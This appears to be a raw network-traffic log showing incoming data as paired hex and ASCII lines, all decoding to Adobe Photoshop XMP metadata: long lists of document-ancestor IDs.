2022-04-08 08:02:42 UTC1802INData Raw: 43 42 35 39 32 30 46 31 41 42 30 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 30 41 41 38 45 39 45 44 31 31 30 30 36 37 32 36 38 34 36 33 33 44 30 36 41 43 43 38 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 31 38 45 35 44 35 36 36 30 35 31 43 46 43 33 39 38 31 30 44 35 42 36 37 41 42 46 44 31 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 33 45 35 41 39 32 36 44 41 37 33 45 37 39 37 45 36 42 32 30 45 37 44 36 34 38 38 34 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 32 42 46 45 41 46 30 31 38 32 41 38 38 46 45 43 42 44 36 44 35 36 41 39 30 32 41 37 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 37 33 31 41 38 33 37 43 44 45 33 41 30 44 43 45 38 31 37 46 31 36 43 31
Data Ascii: CB5920F1AB07</rdf:li> <rdf:li>470AA8E9ED1100672684633D06ACC808</rdf:li> <rdf:li>4718E5D566051CFC39810D5B67ABFD14</rdf:li> <rdf:li>4723E5A926DA73E797E6B20E7D648844</rdf:li> <rdf:li>472BFEAF0182A88FECBD6D56A902A7B3</rdf:li> <rdf:li>4731A837CDE3A0DCE817F16C1
2022-04-08 08:02:42 UTC1810INData Raw: 46 45 36 38 37 46 36 44 43 30 45 34 45 43 44 33 35 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 41 36 35 45 38 34 42 45 45 37 36 43 46 35 31 44 37 46 37 38 41 36 39 36 37 31 43 31 39 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 34 31 44 31 37 38 45 44 32 37 36 31 43 32 36 45 34 36 33 34 34 44 39 45 41 46 42 34 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 37 44 39 38 39 37 30 34 44 37 30 43 34 30 46 32 42 41 32 36 31 39 46 39 37 35 35 42 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 42 45 35 39 31 33 34 33 46 36 31 36 44 36 33 38 38 45 31 35 37 46 31 42 44 43 33 39 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 34 44 43 30 44 33 37 38 43 31 31 35 39 41 38 31 43 42 37
Data Ascii: FE687F6DC0E4ECD357</rdf:li> <rdf:li>4DA65E84BEE76CF51D7F78A69671C19A</rdf:li> <rdf:li>4DB41D178ED2761C26E46344D9EAFB4B</rdf:li> <rdf:li>4DB7D989704D70C40F2BA2619F9755B0</rdf:li> <rdf:li>4DBE591343F616D6388E157F1BDC3921</rdf:li> <rdf:li>4DC0D378C1159A81CB7
2022-04-08 08:02:42 UTC1826INData Raw: 69 3e 35 41 45 38 45 30 44 32 35 34 41 36 45 34 33 44 38 46 43 41 42 36 34 43 42 39 37 36 31 32 46 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 41 46 35 38 39 39 30 35 44 43 34 43 44 34 30 37 39 38 33 41 34 41 39 45 34 30 44 39 46 45 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 30 46 31 36 31 32 39 35 43 33 37 38 39 44 35 45 41 30 35 44 37 38 36 42 30 38 42 45 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 35 35 42 37 42 41 46 39 36 36 35 44 41 34 42 37 41 44 45 44 36 34 41 30 41 31 32 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 31 37 35 45 37 43 46 33 44 44 45 35 35 39 38 41 33 43 37 33 43 31 34 44 30 45 33 39 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 42 32
Data Ascii: i>5AE8E0D254A6E43D8FCAB64CB97612F4</rdf:li> <rdf:li>5AF589905DC4CD407983A4A9E40D9FEE</rdf:li> <rdf:li>5B0F161295C3789D5EA05D786B08BE55</rdf:li> <rdf:li>5B155B7BAF9665DA4B7ADED64A0A125D</rdf:li> <rdf:li>5B175E7CF3DDE5598A3C73C14D0E390E</rdf:li> <rdf:li>5B2
2022-04-08 08:02:42 UTC1842INData Raw: 45 35 46 37 30 42 36 30 31 45 35 35 30 42 45 44 35 31 39 36 34 44 46 36 30 34 33 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 35 43 34 39 30 43 42 30 41 46 45 32 31 45 46 35 46 42 34 43 37 39 46 45 30 33 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 36 46 31 35 46 46 44 42 31 46 46 39 37 42 33 34 43 38 35 33 35 36 42 37 36 32 35 44 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 37 44 43 32 38 34 31 35 41 36 46 37 46 35 35 38 35 44 45 35 31 41 38 45 36 44 35 37 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 38 31 30 43 35 38 39 45 33 46 32 46 35 38 42 35 44 45 38 41 33 31 38 43 30 44 35 41 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 39 39 32 38 30 46 45
Data Ascii: E5F70B601E550BED51964DF60432A</rdf:li> <rdf:li>6975C490CB0AFE21EF5FB4C79FE035D8</rdf:li> <rdf:li>6976F15FFDB1FF97B34C85356B7625D8</rdf:li> <rdf:li>697DC28415A6F7F5585DE51A8E6D5713</rdf:li> <rdf:li>69810C589E3F2F58B5DE8A318C0D5A0E</rdf:li> <rdf:li>699280FE
2022-04-08 08:02:42 UTC1850INData Raw: 32 30 39 44 43 41 39 44 39 32 37 43 31 45 39 31 30 41 39 39 35 32 43 38 38 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 31 46 42 33 37 38 30 41 46 35 31 38 46 36 35 31 36 36 45 38 46 33 32 45 33 42 45 30 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 32 39 43 38 30 39 36 34 34 30 35 45 43 35 43 38 35 46 37 39 44 43 32 37 37 38 31 34 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 33 34 31 36 41 39 45 45 30 30 39 34 42 44 41 46 42 36 43 38 46 42 32 31 41 37 32 32 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 30 41 38 37 42 42 42 31 36 35 38 38 33 35 43 43 41 38 42 37 41 43 30 43 45 31 33 45 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 30 36 42 44 46 30 41 31 36
Data Ascii: 209DCA9D927C1E910A9952C887F</rdf:li> <rdf:li>701FB3780AF518F65166E8F32E3BE083</rdf:li> <rdf:li>7029C80964405EC5C85F79DC277814FB</rdf:li> <rdf:li>703416A9EE0094BDAFB6C8FB21A7223D</rdf:li> <rdf:li>7060A87BBB1658835CCA8B7AC0CE13ED</rdf:li> <rdf:li>706BDF0A16
2022-04-08 08:02:42 UTC1866INData Raw: 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 41 32 46 44 33 31 43 30 36 35 41 30 36 43 39 44 35 36 44 31 46 44 34 31 33 33 43 39 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 41 35 30 46 32 37 42 39 41 32 35 39 44 44 46 45 32 31 35 30 37 42 36 34 39 31 46 36 32 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 41 37 41 35 36 41 31 43 45 33 46 38 32 32 38 41 42 31 42 39 35 34 31 44 30 41 30 44 33 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 42 43 37 46 44 41 44 37 30 31 37 30 36 42 31 42 33 30 41 42 45 32 35 36 36 41 36 44 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 45 43 36 33 38 45 33 42 38 36 46 33 33 39 31 32 43 43 42 42 35 43 45 34 45 34 33 42 35 32 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72
Data Ascii: i> <rdf:li>7EA2FD31C065A06C9D56D1FD4133C934</rdf:li> <rdf:li>7EA50F27B9A259DDFE21507B6491F621</rdf:li> <rdf:li>7EA7A56A1CE3F8228AB1B9541D0A0D3B</rdf:li> <rdf:li>7EBC7FDAD701706B1B30ABE2566A6D69</rdf:li> <rdf:li>7EC638E3B86F33912CCBB5CE4E43B528</rdf:li> <r
2022-04-08 08:02:42 UTC1882INData Raw: 37 43 33 43 39 44 39 32 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 38 44 43 43 33 42 44 32 43 44 30 46 31 31 46 31 42 46 36 34 35 44 36 33 43 38 45 45 32 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 38 45 31 46 43 33 30 39 30 33 45 31 31 38 37 34 42 30 34 42 32 38 36 38 43 45 42 46 44 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 41 42 44 36 36 31 32 30 38 43 45 39 44 33 43 43 34 31 31 42 38 39 42 42 44 41 42 33 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 42 32 34 36 30 44 43 41 42 33 43 39 33 34 44 32 34 43 30 33 30 46 38 44 33 34 39 36 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 41 43 37 42 32 37 36 45 42 38 46 33 45 43 39 38 31 46 42 39 37 32 33 42 46 36 31
Data Ascii: 7C3C9D922</rdf:li> <rdf:li>8A8DCC3BD2CD0F11F1BF645D63C8EE2C</rdf:li> <rdf:li>8A8E1FC30903E11874B04B2868CEBFD2</rdf:li> <rdf:li>8AABD661208CE9D3CC411B89BBDAB3E6</rdf:li> <rdf:li>8AB2460DCAB3C934D24C030F8D349667</rdf:li> <rdf:li>8AC7B276EB8F3EC981FB9723BF61
2022-04-08 08:02:42 UTC1890INData Raw: 31 43 45 41 45 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 30 30 39 33 43 38 30 44 46 41 35 42 46 36 34 34 43 44 33 31 41 45 34 37 38 41 39 39 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 30 42 31 33 34 31 35 41 37 41 42 36 37 44 37 31 33 43 41 37 44 39 39 46 39 31 36 42 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 31 46 32 36 45 31 34 42 45 42 43 37 32 46 31 31 46 45 35 34 37 41 44 33 44 39 35 33 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 32 44 35 44 44 37 43 35 44 36 44 42 37 46 30 44 32 35 37 34 43 33 41 46 37 44 38 34 31 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 32 33 42 43 45 43 42 38 30 42 33 42 34 39 42 39 46 42 33 38 44 30 41 37 46 34 39 31 31
Data Ascii: 1CEAE61</rdf:li> <rdf:li>920093C80DFA5BF644CD31AE478A990D</rdf:li> <rdf:li>920B13415A7AB67D713CA7D99F916B70</rdf:li> <rdf:li>921F26E14BEBC72F11FE547AD3D95367</rdf:li> <rdf:li>922D5DD7C5D6DB7F0D2574C3AF7D8413</rdf:li> <rdf:li>923BCECB80B3B49B9FB38D0A7F4911
2022-04-08 08:02:42 UTC1906INData Raw: 33 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 46 37 33 32 35 34 35 36 43 32 44 35 35 42 43 36 33 33 31 39 41 36 42 39 31 36 41 42 42 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 46 37 46 41 31 42 37 44 36 33 44 36 44 43 38 38 46 46 38 39 38 44 38 35 31 44 35 46 43 46 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 46 39 30 41 32 32 45 44 35 31 46 33 36 31 32 43 32 38 32 35 33 45 30 41 36 45 32 31 31 35 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 46 43 44 35 34 32 43 35 43 43 31 33 41 44 44 39 37 46 37 43 41 39 41 43 31 39 43 45 46 32 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 46 44 33 43 32 32 36 34 38 45 43 36 37 39 35 37 41 39 44 43 37 32 32 30 33 45 45 32 44 30 38 3c 2f 72
Data Ascii: 37</rdf:li> <rdf:li>9F7325456C2D55BC63319A6B916ABB7F</rdf:li> <rdf:li>9F7FA1B7D63D6DC88FF898D851D5FCFB</rdf:li> <rdf:li>9F90A22ED51F3612C28253E0A6E21155</rdf:li> <rdf:li>9FCD542C5CC13ADD97F7CA9AC19CEF2B</rdf:li> <rdf:li>9FD3C22648EC67957A9DC72203EE2D08</r
2022-04-08 08:02:42 UTC1922INData Raw: 42 38 45 43 38 37 42 38 39 37 39 32 46 38 44 44 30 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 31 45 30 46 32 30 46 41 39 41 33 34 30 34 31 35 36 33 46 33 37 35 34 33 34 32 33 35 39 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 34 32 46 45 44 32 32 33 34 46 37 37 42 33 37 31 45 43 31 38 36 41 36 41 37 36 34 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 35 37 46 34 35 41 43 41 43 44 46 45 31 38 43 33 42 44 31 45 34 46 46 43 31 44 34 34 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 36 32 30 34 35 42 32 38 44 39 31 42 43 30 30 44 37 38 32 35 45 43 46 36 32 33 30 39 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 44 36 32 43 45 46 42 39 37 35 41 39 37 42 36 46 33 32
Data Ascii: B8EC87B89792F8DD08</rdf:li> <rdf:li>AD1E0F20FA9A34041563F37543423596</rdf:li> <rdf:li>AD42FED2234F77B371EC186A6A764933</rdf:li> <rdf:li>AD57F45ACACDFE18C3BD1E4FFC1D4474</rdf:li> <rdf:li>AD62045B28D91BC00D7825ECF6230989</rdf:li> <rdf:li>AD62CEFB975A97B6F32
2022-04-08 08:02:42 UTC1929INData Raw: 31 46 44 32 31 43 38 37 37 33 31 46 37 35 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 33 39 30 43 39 30 31 45 42 46 41 46 35 42 43 42 37 32 31 34 38 39 44 38 32 42 37 45 39 31 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 33 39 45 41 37 31 35 38 46 34 34 41 37 45 31 43 38 42 36 30 33 39 36 36 33 31 42 46 35 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 33 42 31 44 34 42 33 38 34 34 31 42 34 41 37 30 38 31 30 33 39 37 43 37 31 37 43 31 35 33 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 33 42 35 34 46 38 34 45 41 39 46 34 34 41 44 34 41 41 30 32 33 33 44 37 46 39 32 41 37 44 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 33 42 38 46 30 38 36 45 45 32 45 37 36 42 36 32 39 34 33 37
Data Ascii: 1FD21C87731F75E6</rdf:li> <rdf:li>B390C901EBFAF5BCB721489D82B7E91D</rdf:li> <rdf:li>B39EA7158F44A7E1C8B60396631BF590</rdf:li> <rdf:li>B3B1D4B38441B4A70810397C717C1531</rdf:li> <rdf:li>B3B54F84EA9F44AD4AA0233D7F92A7DA</rdf:li> <rdf:li>B3B8F086EE2E76B629437
2022-04-08 08:02:42 UTC2048INData Raw: 31 32 42 31 31 31 30 43 34 30 31 42 44 38 33 38 39 42 31 31 41 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 32 30 46 33 45 36 33 38 33 30 39 41 33 30 35 38 30 45 44 45 31 42 35 45 39 34 45 32 32 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 33 36 44 33 34 31 31 36 31 38 43 41 38 32 39 38 41 43 42 36 32 43 39 43 37 30 42 31 45 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 33 36 45 42 30 45 43 44 31 36 37 46 38 31 34 42 39 30 33 42 37 43 46 41 36 39 43 41 45 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 33 37 43 45 42 33 45 42 44 46 35 31 43 45 38 35 37 41 41 45 33 44 45 36 39 46 31 38 37 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 41 35 33 42 34 31 41 43 46 35 32 33 45 34
Data Ascii: 12B1110C401BD8389B11A2</rdf:li> <rdf:li>BA20F3E638309A30580EDE1B5E94E226</rdf:li> <rdf:li>BA36D3411618CA8298ACB62C9C70B1E6</rdf:li> <rdf:li>BA36EB0ECD167F814B903B7CFA69CAE8</rdf:li> <rdf:li>BA37CEB3EBDF51CE857AAE3DE69F1879</rdf:li> <rdf:li>BA53B41ACF523E4
2022-04-08 08:02:42 UTC2064INData Raw: 64 66 3a 6c 69 3e 43 38 30 31 38 38 32 34 39 31 38 44 30 32 41 43 33 37 32 44 39 38 42 44 32 36 37 46 41 32 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 38 31 33 38 30 31 30 43 38 33 34 45 31 33 37 46 44 32 32 36 41 46 31 31 42 38 30 35 42 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 38 32 32 39 46 32 37 35 37 42 37 38 46 36 45 43 36 43 44 46 43 39 30 39 33 32 31 35 45 42 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 38 32 33 31 39 30 45 33 33 45 31 30 32 45 31 34 37 32 36 41 44 36 45 37 43 44 45 46 39 38 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 38 32 46 34 37 41 44 44 32 34 38 39 36 46 45 37 38 30 30 39 37 45 43 30 35 44 38 35 43 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69
Data Ascii: df:li>C8018824918D02AC372D98BD267FA2F2</rdf:li> <rdf:li>C8138010C834E137FD226AF11B805B5D</rdf:li> <rdf:li>C8229F2757B78F6EC6CDFC9093215EB2</rdf:li> <rdf:li>C823190E33E102E14726AD6E7CDEF98C</rdf:li> <rdf:li>C82F47ADD24896FE780097EC05D85C6A</rdf:li> <rdf:li
2022-04-08 08:02:42 UTC2080INData Raw: 3e 44 34 46 38 42 37 31 41 38 33 41 34 39 41 33 36 45 37 30 42 39 41 36 39 33 44 36 44 38 30 36 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 46 45 36 36 31 31 42 31 31 37 34 32 41 30 37 36 31 45 46 42 38 33 39 37 46 42 36 45 41 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 31 32 34 31 30 45 45 38 31 42 44 38 44 45 46 35 37 37 33 33 43 33 46 43 39 46 44 35 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 31 37 45 41 32 33 37 32 44 34 44 37 30 32 45 32 38 38 41 35 43 41 35 45 39 38 32 30 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 31 39 42 46 42 44 39 41 46 36 41 33 45 31 44 33 41 38 39 38 35 36 41 31 43 31 39 45 41 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 35 31 42
Data Ascii: >D4F8B71A83A49A36E70B9A693D6D8066</rdf:li> <rdf:li>D4FE6611B11742A0761EFB8397FB6EA1</rdf:li> <rdf:li>D512410EE81BD8DEF57733C3FC9FD54C</rdf:li> <rdf:li>D517EA2372D4D702E288A5CA5E982043</rdf:li> <rdf:li>D519BFBD9AF6A3E1D3A89856A1C19EA5</rdf:li> <rdf:li>D51B
2022-04-08 08:02:42 UTC2390INData Raw: 42 35 42 45 46 33 44 38 33 44 35 34 37 31 39 36 31 39 32 34 34 46 41 31 45 31 32 36 39 33 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 36 42 46 31 31 41 38 31 42 34 33 34 39 36 45 33 32 36 32 46 35 43 31 46 44 44 38 35 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 37 32 36 30 32 30 41 37 30 36 30 32 42 43 35 39 35 36 44 33 35 39 42 38 46 46 45 33 30 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 37 35 46 32 35 44 34 39 31 42 34 43 32 45 43 34 43 33 33 43 44 37 42 36 33 45 35 31 41 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 38 41 42 43 31 31 42 30 44 38 32 33 34 34 37 34 33 37 31 39 30 46 41 41 38 42 41 43 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 42 39 30 39 33
Data Ascii: B5BEF3D83D54719619244FA1E12693D</rdf:li> <rdf:li>DB6BF11A81B43496E3262F5C1FDD8506</rdf:li> <rdf:li>DB726020A70602BC5956D359B8FFE306</rdf:li> <rdf:li>DB75F25D491B4C2EC4C33CD7B63E51A8</rdf:li> <rdf:li>DB8ABC11B0D823447437190FAA8BAC67</rdf:li> <rdf:li>DB9093
2022-04-08 08:02:42 UTC2406INData Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 38 41 30 33 35 46 36 31 45 36 41 43 34 39 34 30 46 33 33 44 46 31 32 41 43 38 44 46 45 43 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 38 41 36 35 31 43 46 39 39 45 34 36 41 43 33 42 30 30 30 44 46 43 30 36 45 30 36 31 32 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 38 41 38 41 36 39 42 35 45 42 36 37 39 31 33 43 30 35 31 34 45 42 43 32 33 39 37 36 45 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 38 42 36 31 37 33 45 31 37 41 30 46 37 42 46 34 32 35 45 38 38 34 36 36 39 33 37 39 44 42 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 38 42 46 32 30 44 41 42 31 46 43 34 45 39 39 42 35 34 44 34 44 38 42 32 30 39 33 31 42 33 31 3c 2f 72 64 66 3a 6c 69
Data Ascii: df:li> <rdf:li>E8A035F61E6AC4940F33DF12AC8DFEC3</rdf:li> <rdf:li>E8A651CF99E46AC3B000DFC06E06122F</rdf:li> <rdf:li>E8A8A69B5EB67913C0514EBC23976EB4</rdf:li> <rdf:li>E8B6173E17A0F7BF425E884669379DBA</rdf:li> <rdf:li>E8BF20DAB1FC4E99B54D4D8B20931B31</rdf:li
2022-04-08 08:02:42 UTC2422INData Raw: 36 36 30 35 44 32 41 37 31 35 33 31 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 33 46 44 31 46 35 44 31 34 36 46 46 41 38 35 36 45 33 42 34 43 35 44 38 37 45 30 42 30 31 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 34 30 38 38 34 39 38 38 45 45 44 39 43 37 30 43 41 43 32 38 32 36 31 34 32 36 31 41 39 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 34 30 42 32 39 42 37 36 44 34 33 34 42 32 45 32 44 45 45 30 35 30 33 31 30 44 37 41 38 38 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 34 31 42 42 45 37 44 43 30 38 43 31 41 41 46 35 33 42 34 34 36 34 31 39 31 42 39 44 35 42 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 34 33 37 33 36 33 33 36 38 46 36 41 39 32 44 42 36 42 42 43 31 38 39
Data Ascii: 6605D2A715311</rdf:li> <rdf:li>F3FD1F5D146FFA856E3B4C5D87E0B015</rdf:li> <rdf:li>F40884988EED9C70CAC282614261A905</rdf:li> <rdf:li>F40B29B76D434B2E2DEE050310D7A88B</rdf:li> <rdf:li>F41BBE7DC08C1AAF53B4464191B9D5B7</rdf:li> <rdf:li>F437363368F6A92DB6BBC189
2022-04-08 08:02:42 UTC2430INData Raw: 36 39 44 31 39 38 34 38 42 43 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 38 42 35 36 45 35 35 44 44 37 32 36 42 41 37 41 31 37 31 42 39 39 38 38 44 33 36 34 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 39 41 38 42 38 34 41 43 31 45 38 45 43 31 43 42 37 32 31 36 36 32 37 39 42 34 31 43 41 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 41 31 31 35 33 37 46 44 38 33 41 30 46 33 35 33 43 30 30 46 46 35 38 38 32 30 34 34 46 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 41 32 34 44 30 45 31 34 44 38 32 32 34 46 46 31 31 31 30 43 30 35 38 38 42 43 45 35 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 41 41 36 44 36 37 41 36 42 42 39 44 34 43 37 33 46 46 45 44 35 44 32 38 37
Data Ascii: 69D19848BC1</rdf:li> <rdf:li>FA8B56E55DD726BA7A171B9988D364C6</rdf:li> <rdf:li>FA9A8B84AC1E8EC1CB72166279B41CAF</rdf:li> <rdf:li>FAA11537FD83A0F353C00FF5882044F1</rdf:li> <rdf:li>FAA24D0E14D8224FF1110C0588BCE5C4</rdf:li> <rdf:li>FAA6D67A6BB9D4C73FFED5D287
2022-04-08 08:02:42 UTC2446INData Raw: 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 35 32 34 63 32 63 2d 64 39 36 38 2d 31 31 65 34 2d 61 33 38 31 2d 65 61 36 61 34 65 65 61 35 36 62 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 39 37 64 34 35 33 2d 33 66 35 62 2d 31 31 64 61 2d 62 36 64 31 2d 64 66 66 65 39 65 36 32 34 34 63 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 31 66 64 65 62 34 37 62 2d 64 64 33 61 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 32 30
Data Ascii: li>adobe:docid:photoshop:1f524c2c-d968-11e4-a381-ea6a4eea56ba</rdf:li> <rdf:li>adobe:docid:photoshop:1f97d453-3f5b-11da-b6d1-dffe9e6244c1</rdf:li> <rdf:li>adobe:docid:photoshop:1fdeb47b-dd3a-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:20
